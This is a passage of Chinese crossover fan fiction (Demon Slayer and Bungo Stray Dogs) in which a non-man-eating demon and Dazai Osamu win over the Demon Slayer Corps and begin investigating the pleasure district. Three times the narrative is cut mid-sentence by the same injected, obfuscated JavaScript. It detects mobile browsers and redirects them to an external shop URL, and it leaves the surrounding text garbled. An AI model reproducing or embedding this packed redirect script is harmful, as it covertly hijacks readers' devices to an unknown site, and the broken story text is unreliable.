他身边的嘴平伊之助也恶狠狠地握住了刀柄,就在刚刚,他出色的感知能力让他在眨眼间寒毛卓竖,原因只是因为看到了那边的一男一女两个人而已。 尤其是那个长得很好看的黑发少年。 他很危险。 “你想见的人出现了?”雪野夕买下团子和金平糖递给太宰治,“果然,栗子酱你也不能什么都说啊。” 栗子酱心虚地捂住了圆圆的脑袋。 “雪野酱就这么信任我吗?”太宰治只接过金平糖,随手摸出一粒在指尖把玩,“事到如今,还可以将我扔在这里远远离开哦。” “那你挟持了栗子酱这点倒是比较麻烦啦。”她嘴上附和了他一句,顺手在他不满地鼓起两腮时抓了一把金平糖递给走近的时透兄弟俩。 “喂,我可不是小孩子了啊!”被塞糖的时透有一郎接过来,嫌弃地往嘴里丢了一颗。 唔,好甜,好好吃。 无一郎就坦率地多,看起来像薄荷团子的少年眼睛亮晶晶地接过糖,非常珍惜地捻起一粒放进嘴巴。 好可爱! 雪野夕对这种腼腆可爱的类型完全没有抵抗力,于是她矜持地伸出没粘上糖的另一只手,打算捏捏时透无一郎的脸。 但手腕很快就被太宰治从半路上截住了,还是用相当大的力气握住的方式。 “怎么可以这样!”黑毛猫咪尽管眼神黯淡,但表面上是实打实地炸毛了—— “雪野小姐你这个负心汉!” 27.再次集合 花火大会上的烟火,果然非常璀璨。 倒映在身边人的眼眸中时,就好像也点亮了他的世界。 也许在这一刻,我们想得是一样的。 虽然今后的命运仍是未知数。 烟火消散后,我遇到了有一郎和无一郎,据说他们出现在这里是为了巡逻,兄弟俩身后还跟着三个稍微大一点的男孩,但其中有一个看我的眼神很惊恐。 哎呀,是识破了我的伪装吗? ——【雪野夕の日记,5月25日。】 “无一郎,有一郎……”因为接触过鬼舞辻无惨不久,炭治郎的声音还残留着恐惧,尤其是他和对面一个年轻男人对视的时候,感觉像是看到了一片泥沼。 怎么办?要说出对方是鬼的事实吗?还是说霞柱们早就知道这件事?可是如果那位小姐是后来才被变成鬼的话…… “你们的同伴好像有什么话要说。” 还没等他做出决定,对面的雪野夕就笑着说:“不如我们找个人少的地方叙叙旧?” 说完,她指了指道路另一边。 晚会已经开始散场,人潮涌动,而他们一行人穿过人群,即将去往更加黑暗的一边。 炭治郎暗暗握紧了刀,目光一刻也不敢从雪野夕身上移开。 就连一向咋呼的我妻善逸和嘴平伊之助都察觉到气氛不对,空气中越来越安静了。 “夕酱——”太宰治突然拉扯着她的袖子,“我真的好想在这一刻、不不,是在看到烟火的那一刻死掉!” “你不想。”雪野夕冷漠地拒绝他,“除非先把我给你买的和果子吐出来。” “为什么关注点会是这个嘛。”他哼哼唧唧地凑上来,“你会责怪我吗?” “我大概知道你的目的了。”她沉重地叹了口气,“在计划还没开始之前就先想着要死掉这种事,可不太好哦。” 周围还有正在莫名其妙地看着他们的人,太宰治嘴唇动了动,没能说出自己真正想问的。 真正问出口了又能如何呢……他又是在以什么身份发问呢? “搞什么啊?”时透有一郎早早地察觉到了氛围的古怪,现在终于走出了繁华的街道,他几乎是第一时间就盯着雪野夕,将心中的疑问脱口而出。 而雪野夕也没有迟疑,她上前一步,侧身将脸色发白的太宰治挡在身后—— “抱歉,其实我是鬼。” “……” 空白的表情同一时间出现在双胞胎的脸上,时透有一郎更是发出了大大地一声“哈?”来表示无语。 但转身看去,炭治郎、我妻善逸和嘴平伊之助都已经绷紧了身体,这是即将开战的信号。 “可是姐姐,我们遇见的时候我浑身是血。”无一郎仍然在争辩,“那时候你都没有咬我,甚至……甚至哥哥也是……” “因为我不是吃人的鬼啦!”她挥挥手,“要说起成为鬼的时间,似乎也快要五年了哦。” 五个来自鬼杀队的剑士没想到自己有一天能跟一只鬼在小巷中谈笑风生,一时间都有点沉默。 他们所接受的思想,似乎都是在第一时间砍下鬼的脑袋,但眼前这个号称不吃人的鬼……怎么分辨她说的是真是假。 炭治郎有点纠结,要说不吃人的鬼,自己身后的祢豆子就是其中之一,但祢豆子看上去没有雪野小姐聪明…… 背后的箱子动了动,似乎是在向哥哥传达不满。 “鬼杀队,数百年来只能靠折损人手才能勉强抵抗鬼的组织。” 沉默最终由太宰治打破,可是他一开口说话,就足以让对面全体红温。 雪野夕勉强维持住了脸上的表情,侧头悄悄问他,“待会儿你被打的时候能坚持住吗?” 虽然太宰治口才很好,但以她的观察,大多数剑士热血多于理性,就算是有三寸不烂之舌那也是秀才遇着兵啊…… 太宰治一边维持着外表的风轻云淡,一边小小声回答她,“我以为夕酱会说你保护我的。” “被你拉着用不出血鬼术。”她很诚恳地跟他咬耳朵,“我只能希望他们打了你就不要再打我了。” “你先吃俺一招!”看着他们一直在小声交谈,嘴平伊之助拎着他的刀就挥砍上来,双刀内收,锯齿状的刀刃闪闪发光。 “如果就这么被砍断了脖子,一定很痛苦吧?”被拎着后退的太宰治喃喃自语,“果然,就算是死也不能选择这么痛苦的死法呢。” “诸位,我这里可是拥有你们最想知道的情报哟。”落地后,他的眼神重回冰冷,毫不在意对面已经举刀的五人,“在砍下我的脖子前,至少要带领我去面见你们的主公吧?” “当然,我可是货真价实的人类哦。” 说着,他甚至预判着躲过了雪野夕的一记肘击,“啊,早就知道夕酱又要打我了。” “如果不放心的话,我一个人去也是可以的哦。” 眼前的黑发男人,肤色苍白,头发微卷,即使看上去有些孱弱,甚至还缠着不少绷带,但仍会时不时给人一种如同在与深渊中的魔鬼谈话的错觉。 炭治郎咬紧了牙关,他说的话,他们应该相信吗? 他的嗅觉甚至只能嗅到令自己战栗的味道,而无法判断对面说出的是真是假。 “你一个人可以吗?”雪野夕把栗子酱塞进他袖子里,“我……” “是我打算这么做的。”太宰治突然伸手,第一次试着握住了她的手,“就让我一个人去吧。” 身体里翻滚的情绪很奇妙,明明以前能为了情报,毫不犹豫地扮作被敌对组织捉走的表象。 可现在是不同的,他轻轻地吸了一口气,在这个世界里,鬼杀队对鬼有着深深的仇恨,并非是不相信雪野小姐的实力,而是不敢去赌对方的决心。 “……”雪野夕抿紧了嘴唇,“那好。” 她后退一步,挣开了他的手,下一刻,身影消失不见。 “不见了?”炭治郎握刀的动作仍然没有半分松懈。 “所以她真的是鬼啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426700|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一郎低声咒骂了一句,脑海里回想起她那些不走心的谎言。 “所以她就把这个人类丢在这里吗?”我妻善逸的声音叽叽喳喳地,配合上他繁多的语气词竟然让这条安静的巷子也显得不那么寂寥了。 “所以真的不打算带我去见你们的首领吗?”太宰治再也不打算维持自己随和的气场,当他放弃了伪装,身上就自然而然地笼罩上一层淤泥般的死寂,炭治郎甚至觉得自己闻到了扑面而来的血腥味。 常年斩杀鬼的剑士,又怎么会察觉不出杀气呢? 就在氛围即将进一步恶化时,上空传来了鎹鸦的大叫—— “主公传召、主公传召!” 终于来了,计划的第一步已经完成。 凭借这些天与栗子酱和愈史郎交流得出的情报,鬼杀队众人通过鎹鸦传信,一旦遇到鬼,鎹鸦就必会记录并且告知响应的剑士来处理。 想要见到鬼杀队的主公,就必须先见到有分量的剑士才行。 而在分析了各个柱级剑士后,他很快就选好了目标——鬼杀队的花柱或是霞柱。 一来距离适当,二来他们并不会一开始就进行交战,这也就为鎹鸦的往返创造了时间差。 至此,计划正式开始。 太宰治被蒙上眼睛,由五个人带着前往鬼杀队主公,产屋敷家的宅邸。 一个病弱的主公,甚至需要妻子和孩子搀扶,但刚刚被摘下眼罩的太宰治并未露出任何情绪。 “我很惊讶,你在面对我时居然没有露出任何情绪。”产屋敷耀哉也惊讶于对方的稳重,“你甚至……比我的很多孩子们还要年少。” “因为我认为,一个组织的强大不只在于暴力,还要拥有与之相匹配的内心。”太宰治并没有过多寒暄,“不知道您是否愿意听听我的情报呢?” “虽然不解你为何会与鬼同行。”产屋敷耀哉点点头,“但作为人,我会相信你。” 他来见这个人之前,已经先听过了今夜遇见他的时透兄弟和三小只的禀报,又推断出了与他同行的就是救下霞柱与花柱之鬼。 太宰治当然也知道对方如今清楚些什么,或者说正是因为这些前置条件,他现在才能坐在这里和对方交谈。 “鬼杀队的队员们,身为血肉之躯,却一直只能在黑暗中与占据了主场优势的鬼战斗,也因此长期减员巨大。” “如果能得到情报,终结鬼王鬼舞辻无惨。”产屋敷耀哉的声音如轻柔的夜风,“哪怕是让我粉身碎骨,我也在所不惜。” “太宰先生,假如您所说的情报是真的,那么我与我的孩子们,会为了人类赌上一切。” ———— “为什么鎹鸦又将我们集合起来?”刚刚巡逻结束的不死川实弥深夜赶过来,“难道是主公出了什么事?” “今夜是个月明星稀之夜。”屋内,太宰治看向门外影影绰绰的人影一个个出现在院子里,“也将会是改变鬼杀队命运的一夜。” 谁说遗憾是没法弥补的呢。 28.是呼吸法 真是自信过头的人啊,太宰治。 虽然我并不想过多评价一个人,但太宰治确实是我见到的最矛盾的存在。 他身上揉杂着少年的骄矜和轻狂,又有一点厌倦世界的疏离,既深深傲慢着自己的不同寻常,却也自卑于己身的这份不同。 ……虽然很不想承认,但这些特质让他十分迷人。 有句话叫做越危险的东西越引人遐思,如今倒是可以用短短的【太宰治】来形容了。 ——【雪野夕の日记,5月30日。】 “哈?你说可以让我们的剑技更厉害?”不死川实弥努力压下自己巡逻刚结束就被召集而来的烦躁,“就你?一个不懂呼吸法的普通人?” “虽然长相很是华丽,但我可不会随随便便相信你啊。”他身边的宇髄天元也抱臂点头。 “哈哈哈,没有相应的实力,确实不能让我们认同啊。”炼狱杏寿郎是一群人中最有精神的一个了。 “好了。”产屋敷耀哉抬头,让众柱安静下来,“太宰先生,虽然我相信您的话,但您确实要让孩子们能够做到您所描述的情况才行。” “有一郎、无一郎,你们觉得呢?” 这两个孩子是将他带过来的人,此时也应该询问一下他们的意见。 “我觉得我们应该相信姐姐?”无一郎扯扯身边有一郎的袖子,“毕竟她是我们的救命恩人。” “但她是鬼!”有一郎啧了一声,倒是没反对是否要相信雪野夕的问题,“你啊,别有一天被人卖了还要帮别人数钱。” “我也觉得雪野小姐不是坏人。”蝴蝶香奈惠也赞成,“她也是我的救命恩人。” 霞柱、花柱以及支持她的虫柱都已表态,水柱、恋柱没发表什么意见,剩下的蛇柱伊黑小芭内冷笑一声,看起来不太赞成。 看上去最强的岩柱只是安静地流着泪,同样一言不发。 对此,太宰治早有预料。 他正想要再说些什么,众柱身后就传来一个女声—— “想要证据当然也可以。” 什么? 不死川实弥反应是最激烈的,几乎是瞬间就抽刀回砍,“【风之呼吸·一之型·尘旋风·削斩】!” 站在众柱身前的太宰治反而大脑一片空白,好久才轻轻摸了摸袖子里的栗子酱柔软的绒毛,而它也用喙在他手心轻蹭。 ……那个时候把栗子酱塞过来,果然是为了定位吗? 不死川实弥的攻击没有落到实处,因为雪野夕的身影突兀地消失了,再出现时就到了不远处,刚好是剑技无法顾及到的地方。 “这可是主公的宅邸!你想做什么!”宇髄天元反应极快,几乎是第一时间将刀架在了太宰治脖子上。 剩下的柱也是各个如临大敌,将主公的身影挡在身后。 “实弥,天元。”产屋敷耀哉的声音依旧如夜风般轻柔,“如果这位小姐真的想对我做什么,那之前也就没有理由救人了。” “再说,如果我的感觉没有出错的话。”他空茫的眼睛看过来,“您的血鬼术,是有关于位移的吧,所以即使孩子们挡在我身前,您还是可以随时将我带走或是杀死。” 他的语气平静,但柱们可是个个毛骨悚然,被刀架住脖子的太宰治却突然开口,“您是一位出色的领导者,相信已经看出,我们并没有恶意。” 他的眼睛黑漆漆的,一瞬不瞬地看向雪野夕的方向,似乎在发出无声的质问,问她为什么要来。 大概……是因为在这个世界上,你除了我也没有其他能用的底牌了啊,雪野夕用眼神回他。 不知道太宰治是否读懂她的眼神,总之他似乎诡异地安静了下去。 “我知道深夜拜访非常唐突。”雪野夕向对面虎视眈眈的人们微微点头,“但下弦之五累的死亡,让鬼舞辻无惨升起了肃清下弦的念头,不久后,他还会有更大的动作。” 就在祢豆子克服阳光之后,她在心里默数着剧情。 “起始呼吸的剑士,掌握了开启斑纹与赫刀的能力,自身也已经能够看到通透世界,因此也只有这样的强者,才能够对上鬼王。” “那你又算什么东……”不死川实弥青筋暴起,身后却适时响起太宰治的声音,“并不是所有的鬼,都是心甘情愿成为鬼的,你说对吗?不死川先生?” 不死川实弥咬紧了后槽牙,“你不是说要用实力来证明吗?” “那就证明给我们看吧!” 雪野夕的点头还未落下,就猛地一侧头,躲过了一道暗无声息的突刺—— “【蛇之呼吸·二之型·狭头之毒牙】!” 身体刚刚后退,前面的风斩已经呼啸而来,“【风之呼吸·二之型·爪爪·科户风】!” 雪野夕的血鬼术是空间操纵,避开这些斩击对她而言再简单不过,只是闪躲几下,对面的不死川实弥就已经忍不住开口嘲讽,“你就只会躲吗?” “我不想伤害你们。”她冷静回应,“不过可以给我一把木刀。” “对哦。”蝴蝶香奈惠劝说,“我记得雪野小姐会呼吸法,再说如果她说的是真的……” “院子里有木刀。”在父亲的示意下,雏衣和日向带着几柄木刀走过来。 “啧,这么麻烦吗?”不死川实弥抱怨一声,但有祢豆子在前,他也并不是要现在就将这只女鬼斩杀。 雪野夕向两个女孩道谢,得到了她们微微惊讶的目光。 “【月之呼吸·二之型·珠华弄月】!” 两道刃风将风蛇二人的斩击挡下,既然要证明实力,那么也没必要再闪躲下去,“【月之呼吸·六之型·长夜孤月·无间】。” 集中的斩击直冲伊黑小芭内而去,以蛇之呼吸的灵动,不太适合这种正面大范围对敌,而雪野夕要的就是快速封住其中一人的行动能力。 不死川实弥刚想冲过去救援,就感觉自己的身体一阵失重,本来已经接近战圈的身体居然在不知不觉间被移出了好远。 该死!赶过去还需要时间! “【蛇之呼吸·三之型·巢绞】!” “【蛇之呼吸·五之型·蜿蜒长蛇】!” 伊黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445984|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小芭内当然没有坐以待毙,对方并没有对他动用血鬼术,可是攻击却被一道不落地避开或格挡,甚至能在适当的时机向他发起反击。 “原来不止可以作用于自己吗?唔姆,真是难应对啊!”炼狱杏寿郎很有精神地大声说。 “勉强有一丝华丽吧。”宇髄天元把放在太宰治脖子上的刀拿下来。 “南无……”悲鸣屿行冥搓动着手中的佛珠,沉心听着不远处的战斗。 至于炭治郎,他已经膛目结舌、眼花缭乱地说不出话了。 这就是柱们的实力吗?这就是他们平日里所要面对的战斗吗? 雪野夕一刀击中伊黑小芭内的头发后就主动后退几步,看向剩下的柱们,“或许你们打算一起上吗?” “哈?”赶会战圈的不死川实弥看上去要爆炸了,“你想找死吗!” “不,不死川。”伊黑小芭内已经回到了众柱身边,刚刚的战斗他自认不及,所以接下来不会参与进去,“别忘了她的血鬼术,人越多,对她反而越有利。” 混战之中刀剑无眼,只要她稍微挪动一下彼此的位置,都能让鬼杀队陷入“内战”。 “你刚才是怎么预判到我的剑技的?”他直直地看向雪野夕,“【巢绞】和【蜿蜒长蛇】都不是易于躲避的剑技。” 而他也可以肯定,对方并没有发动血鬼术。 “是【通透世界】。”雪野夕活动了下手腕,“身体微小的动作,包括轻微的呼吸,肌肉的走向,眼神的延伸——” “都在我的视野之内。” “居然一本正经地说出了这么华丽的话吗?”宇髄天元将日轮刀架上肩膀,“真是让我也想大干一场了啊!” “唔姆,我也是。”炼狱杏寿郎同样跃跃欲试。 “那个……刚刚的伊黑先生好帅气!”甘露寺蜜璃忍不住说:“啊……那个、不死川先生也很有精神!” “什么嘛,说自己很厉害居然是真的。”有一郎撇嘴,“不过我和无一郎会变得更厉害的。” “真是有精神的孩子们啊。”产屋敷耀哉有些感慨地笑起来,“恐怕雪野小姐接下来一段时间,都要在反复对战中度过了。” “我正是为此而来的。”雪野夕在港口mafia的空闲时间经常与中原中也对练,来到这个世界又要和黑死牟操练,战斗对她来说是家常便饭,看了下天色,即将破晓,她的眼睛注视着太宰治,“我应该离开了,就让太宰为你们说明一切吧……” “还请不要伤害他,他有一种特殊的能力,能让鬼的血鬼术失效。” 你死了就没有人陪我玩了,她诚恳地望向太宰治。 然后发现对方好像在神游。 在她的身影逐渐消失前,他的思绪还停留在“我是你在这个世界上唯一的底牌”和“请不要伤害他”上。 啊……所以不是被她夸赞过像猫一样的乱步先生,不是贵公子一样的魏尔伦,不是那只黏糊糊的小蛞蝓,不是别有一番风味、噫……的森先生,更不是温柔得像人夫一样的织田作。 只是在说他吗? 29.初探游郭 这几天一直在与不同的柱切磋,他们的呼吸法各有所长,还有不少独创的剑技,任何一个喜欢对战的人都会为近来的气氛感到兴奋。 除了我每天早上离开之前,太宰治那种……呃,望穿秋水的眼神? 感觉自己像是犯下了每天放学回家时都会摸一摸路边的流浪猫,但却从没想过把它带回家一类的错误。 可是一想到这只猫猫其实是太宰治,那个会在审讯室里漫不经心清空弹夹的男人,我就觉得…… 嘶,虽然很残忍,但是他那种类似于开到荼蘼后深处传来隐隐黑泥味道的花,亦或是入口后才发现红宝石一般的酒液酸涩的性格毫无疑问会激发他人的好胜心与探索欲,即便与太宰治接触时就像是行走在悬崖之上,往前一步,将会面对浪潮汹涌、漩涡密布、稍有不慎就会触礁的黑海。 他是海中的塞壬,也是披上柔软皮毛的虎,过度的靠近反而会被利爪撕碎吧。 即使虎可能并非出自真心。 ——【雪野夕の日记,6月1日。】 “夕酱,为什么这两天不来找我,对我说‘陪我玩’了呢?” 在又一个即将破晓的日子,站在演武场边缘的太宰治在雪野夕准备放下练习的木刀时,突然毫无征兆地开口问她。 他的眼睛黑沉沉的,声调轻柔而平缓,甚至连身体都距离她一臂之远,“是因为在鬼杀队的这些日子真的很开心,对吗?” “哎?”深谙他这个模样就是即将要犯病的雪野夕先是发出了疑惑的质问,接着很快用轻快的语调倒打一耙,“难道不是因为你这段时间一直在看鎹鸦收集回来的情报太忙了吗?” 太宰治肩膀一松,他当然看得出雪野小姐在装傻,但他又能怎么样呢? 倒不如说刚刚那句抱怨已经耗费了他这几天所积攒的所有勇气了。 雪野小姐的日记本里写过很多她身边的男性,但似乎有关于他的都是些抱怨,想来他应该不太符合她的审美? 啊,也对,他的脾气古怪,远不如这里的其他鬼杀队员热情开朗。 ……不如说已经“热情开朗”到了一个他难以招架的程度。 “根据鎹鸦送回来的情报,我目前倒是可以确定哪里可能出现鬼。”收回思绪,太宰治仍然维持着恰到好处的微笑,“夕酱要不要一起去看看?” “在哪里?”雪野夕听见是鎹鸦带回来的情报,又想到了没用的栗子酱,“你不要想着把鎹鸦带回去了……真的不能带。” “好吧好吧,是游郭哦。” ———— “哈?”三小只一脸不可置信,“要我们,扮成女人?” “什么?”雪野夕也一脸不可置信,“为什么太宰治不用扮成女人?” “要后勤人员上战场吗?那样做可就太不华丽了。”宇髄天元活动着手腕,他也换下了鬼杀队的装束,现在的打扮更像是富贵人家的少爷。 “是你的审美不华丽吧!”雪野夕捂脸,“他们的装也太……抽象了,我建议让我来给他们化妆。” 宇髄天元身边的太宰治也是差不多的装扮,但与满身肌肉的柱相比,他要清瘦许多,尤其是褪去了象征港口mafia的黑色西装,浅灰色的和服和缠绕在身上的绷带让他乍看之下更像是病弱的华族贵公子。 “好可惜,还以为能看见太宰女装呢。你帅你有理……”被音柱否决提议的雪野夕动动鼻子,“但是好像确实是有鬼的气息?” “我跟过去也可以?”太宰治轻轻碰了碰自己眼睛上缠绕的绷带,“毕竟夕酱会保护我。” “啊啊啊好嫉妒。”我妻善逸的一张脸被涂得红红白白,再看看一身闲适装扮的太宰治和他说的话,咬住手绢吐槽,“真可恶啊!如果我进去不能当上花魁那简直是亏大了!” “啊哈哈。”炭治郎紧急拦住了看上去要咬人的我妻善逸,“没事的没事的,什么也没发生哦。善逸,流眼泪的话妆会花掉的!” “伊之助居然这么好看,如果他是哑巴的话……”雪野夕也加入思维发散大军。 浑身一寒的嘴平伊之助猛然跳起来四处张望,全然不顾他现在应有的人设,“有危险!谁想害俺!” 在切磋时曾经被他试图用两把刀架住脖子来回锯的雪野夕:…… “那我们走吧。”太宰治对着雪野夕伸出手,“一起去看看……究竟是什么样的存在。” 他对游郭没有半分兴趣,无论是在哪个时代,人性的幽微总是共通的,只要行走在人群之中,他就能透过形形色色的路人看出他们心底的欲望。 尤其是在这种环境下,真是糟糕透顶。 雪野夕上前一步,握住他的手,“那我们兵分两路?” 被握住手的太宰治似乎像是烫到了,手指蜷缩,说来好笑,明明是他先主动伸出的手,却像是笃定对方不敢握住才敢主动地踏出一步。 于是在雪野夕拉走他后,局势就开始变得奇怪了起来。 比如他们没走两步,就被一个长相精明的中年女人拦下,客气地询问太宰治是不是要把她卖进游郭。 “长得不错。”她用一种审视的目光打量了一下雪野夕,“我们这里可不是那种浅薄的地方,等你进来京极屋,除了琴棋书画,还要学习茶道华艺,更不必说培养最重要的高雅气质……” 妈妈桑还在喋喋不休地讲述当上花魁的好处,太宰治却察觉到,身边的雪野小姐似乎有些微妙的不快。 没等他说些什么,雪野夕就已经调节好心情,举起两个人握在一起的手,用一种轻松的语气询问,“你们这里不招男孩子吗?” 妈妈桑用看神经的眼神瞪了她一眼,但又没听到同行男人的反对……仔细看看,这个男人长得很不错啊! “哈哈开玩笑的。”感受到手骨被逐渐捏紧的感觉,雪野夕火速改口,“其实,我们只是路过、路过来看看这里的花魁!” 沉浸在“长得这么好看而且看上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493763|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去有残疾要是好好改造一番说不定也能做个哑巴美人到时候不如对外宣称卖艺不卖身算了”的妈妈桑猛然被打断,不悦地拉下一张脸,“那你们往我这走是来消遣我的?” 走走走!赶紧走,没见过逛花街是男女结伴逛的。 “这里的鬼应该是女鬼吧?”她拉着太宰治紧急离开妈妈桑身边,“如果是男鬼,嗯……出现的时候只能假扮成来这里的,客人?” “但鬼是可以改变性别的。”太宰治任由她拉着自己的手乱走,“就像是夕酱跟我吐槽过的鬼舞辻无惨?” 说到这个雪野夕就来劲了,“对对!就是他!据说他变成这个样子是为了寻找蓝色彼岸花,为此还搞出了上弦和下弦……” “但我始终相信,给他干活的鬼很少,大家还是摸摸鱼啦。” 翻遍所有鬼的生平,发现在认真找花的鬼真没有几个,只有屑老板自己一只鬼勤勤恳恳,当男又当女,自己的形态可以搞出一家三口,甚至还兢兢业业地搞钱养着一大群鬼。 虽然鬼的花销也很低就是了。 “那刚才夕酱为什么不开心?”他又问,但这次是靠近了她,凑在她耳边说的。 仔细想想,刚刚那个女人说的琴棋书画、仪态优雅等等……似乎雪野小姐就可以完美符合。 只要收敛住自己偶尔的跳脱就可以了。 但她似乎来到这里后就不太高兴。 奢靡华丽的景色在眼前略过,远处传来阵阵乐声,人群中不知有谁大喊了一声—— “是花魁!是蕨姬花魁!” 人群像是被这声呼喊叫醒,纷纷朝着那个方向涌了过去。 花魁,花街繁荣的象征,王冠上的明珠,她是枝头上最鲜亮的果实,但只要再静候一段时间,这颗漂亮的果子不得不因为腐败而坠落泥中。 雪野夕心中的烦躁更甚,已经到了无法再转移话题,面上无法藏住情绪的地步。 她看见熙熙攘攘的人群围在道路两步,大声赞誉着花魁的美丽,那些所谓的“恩客”大声讨论着花魁今日会选择谁,更有无数人痴痴地凝望着那个缓步走来的女子,恨不得为她献上性命。 风送来了别样的气息,她身边有人不客气地撞过来,“喂!不去看蕨姬花魁就滚……” 中年男人的声音像是被掐死在了喉咙里,因为他看到了太宰治那黑漆漆的眼睛,以及雪野夕那阴沉沉的脸色。 但恐惧也只在一瞬间,很快,他就嘀咕着绕过了他们,“什么嘛,只是个来花街寻欢作乐的小白脸而已……” “冷静下来,雪野酱。”太宰治犹豫着将手放在雪野夕肩膀上轻轻拍了拍,“有什么烦心事,可以……告诉我吗?” 是因为看到了花街中的景象吗?他想,这种地方实在常见,从古至今都存在着,但如今仍然存在却不一定就是合理的。 果然,这个世界就是腐朽的。 在垂下眼眸前,他还是选择握紧了她的手。 30.上弦之六 如果有一天,你喜欢上了一个人,那么你会选择—— A.在心里默默暗恋,担心告白失败因此不说出来。 B.勇敢表白,即使失败后再也做不了朋友。 我决定选C,如果对方不答应就把他囚禁在地下室,让他每天都只能跟我玩。 如果对方答应了……那最好也能让我把他囚禁在地下室,每天只能跟我玩。 ——【雪野夕の日记,6月19日。】 “我没事哦。”雪野夕翻了翻太宰治的绷带末端,他给自己缠绷带的技巧很熟练,每次都非常服帖,让人根本找不出开端在哪。 但这难不倒经常和绷带打交道的雪野夕。 感受到手臂上传来绷带拉扯的细微摩擦,太宰治忍了一会儿,才小小声地抱怨,“夕酱……能不能不要扯我的绷带。” “不可以吗?”雪野夕学着他的样子小声说话,“难道绷带才是你的本体?太宰治其实是一只绷带精?” “很痒啦。”太宰治抿抿嘴,而且要是在花街上被取下绷带的话…… “你好像脸红了。”雪野夕伸出一根手指,戳戳他的脸。 咦,好软。 “你们两个居然消极怠工啊!”音柱宇髄天元爽朗的声音响起,太宰治即将紊乱的心跳被他很快地压下去,又恢复了一贯的平稳。 被打断直球的雪野夕摸摸鼻子,“那我们接下来怎么办?” “我们跟着刚刚的花魁。”太宰治说:“京极屋的鬼,应该与她有关。” “哦?这是怎么发现的?”宇髄天元精神一振,“难道太宰你还能看出伪装人类的鬼。” 算是有一些心得吧……太宰治的余光将身边雪野小姐的身影全部囊括在内。 “她的眼睛很不一样。”他轻声说出自己的依据,“在这一路上,看见的女孩子们,眼神大多都是淡漠或是麻木……只有刚刚被称作【蕨姬】的花魁不一样。” 她的眼睛里有娇纵、贪婪、天真、残忍,甚至还有一点……迷茫? “只凭借这个判断鬼?”宇髄天元有些不满意这个答案,“别忘了这里可是游郭。” “真正夺取过他人性命的眼神,与无辜者是不同的。”游郭色彩斑斓的灯火没有照亮太宰治鸢色的眼睛,“而在花街之中,又有谁会杀人呢?” 宇髄天元纠结一瞬,“假如你说的是真的,那我们莫非现在就要疏散人群?” “我很确定我的情报能力哦。”太宰治比了个“嘘”的动作,“所以早就安排了【隐】来到游郭。” 刚刚借由花魁游街人流汇聚,再由队员们将他们包围移动,远离了京极屋所在的方位。 “紧接着是这个。”随着太宰治一个利落的响指,京极屋那边突然陷入了一片黑暗。 “这样,今夜就不会有人来打扰我们了。”他看着自己的计划顺利进行,心中感叹,炭治郎真是个好用的下属。 但这孩子内心充满了光明与温柔,无时无刻不行走在正确的道路上,与他这种沾满淤泥的人截然不同。 雪野小姐也会喜欢这份正确吗? 他曾经不止一次见到她与炭治郎聊得很开心。 不,他怎么忘记了?雪野小姐也行走在属于她的、正确的道路上。 他们都找到了自己的意义,并且为之奋斗着呢。 “刚刚我们与京极屋的人说过话。”脑海里的想法不过瞬息即逝,但也让他失去了游戏的心思,语气变得恹恹起来,“这足以得出一个重要结论了。” “京极屋是一个非常重视容貌的地方,在这方面恐怕是游郭之最,那只鬼选择在京极屋栖身,并且当上花魁……真是有上进心呢。” “所以太宰你就灭了京极屋的灯火吗?”雪野夕摩挲着手里的绷带末端,“我如果是花魁的话,在这功成名就的时刻出现乱子,恐怕会很生气哦。” “这说明夕酱也很有上进心嘛。” 果不其然,三小只狼狈的身影很快出现在街边,叽叽喳喳地扑上来跟太宰治汇报情况—— “太宰先生!果然向您说过的那样!”炭治郎眼睛亮晶晶的,甚至不在乎自己脸颊上有两道擦伤,“我灭掉灯火后对方就出现了!我还救下了老板娘!” 我妻善逸脸上一团糊掉的妆,“什么啊!我弹琴弹的好好的,就被炭治郎你突然拉着跑起来了!” “伊之助就先别说话了!”雪野夕紧急拦住看起来很愤怒的嘴平伊之助,“谁帮你化了新妆?再让我欣赏一会儿……” “呦西!集合完毕!”宇髄天元抽出了刀,“那我们就向着京极屋进发吧少年们!华丽地赢下这一局!” “小心点,这里的鬼,应该是上弦。”雪野夕忍不住提醒,但栗子酱在来之前警告过她,不可以对故事中的人过多透露他们的命运。 她来到这里,已经间接改变了时透兄弟、花柱虫柱姐妹的命运,更透露出鬼舞辻无惨有意要除掉下弦、斑纹剑士等诸多信息。 这必然导致鬼那一边的行动加快,说不定会给鬼杀队带来更大的麻烦。 “我已经提前麻烦炎柱与蛇柱在游郭外等待。”太宰治悄悄告诉她,鬼杀队目前关于上弦的了解太少,口说无凭,必须让强大的剑士亲眼认识到自己当前与上弦的差距,才能更加激发他们的潜能。 